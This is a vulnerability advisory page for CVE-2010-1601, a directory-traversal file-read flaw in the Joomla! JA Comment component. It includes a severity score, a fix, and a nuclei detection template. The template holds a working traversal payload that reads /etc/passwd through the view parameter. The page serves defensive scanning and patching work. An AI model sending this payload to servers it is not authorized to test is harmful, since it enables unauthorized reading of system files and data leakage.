Joomla! Component JA Comment - Local File Inclusion

mediumseverity

5CVSS score

15.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the JA Comment (com_jacomment) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.

Impact

Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to unauthorized access and potential data leakage.

Fix

Apply the latest security patches or upgrade to a patched version of Joomla! Component JA Comment to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1601 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1601

info:
  name: Joomla! Component JA Comment - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the JA Comment (com_jacomment) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Joomla! Component JA Comment to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12236
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1601
    - http://packetstormsecurity.org/1004-exploits/joomlajacomment-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57848
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1601
    cwe-id: CWE-22
    epss-score: 0.15561
    epss-percentile: 0.96859
    cpe: cpe:2.3:a:joomlamart:com_jacomment:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlamart
    product: com_jacomment
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,joomlamart,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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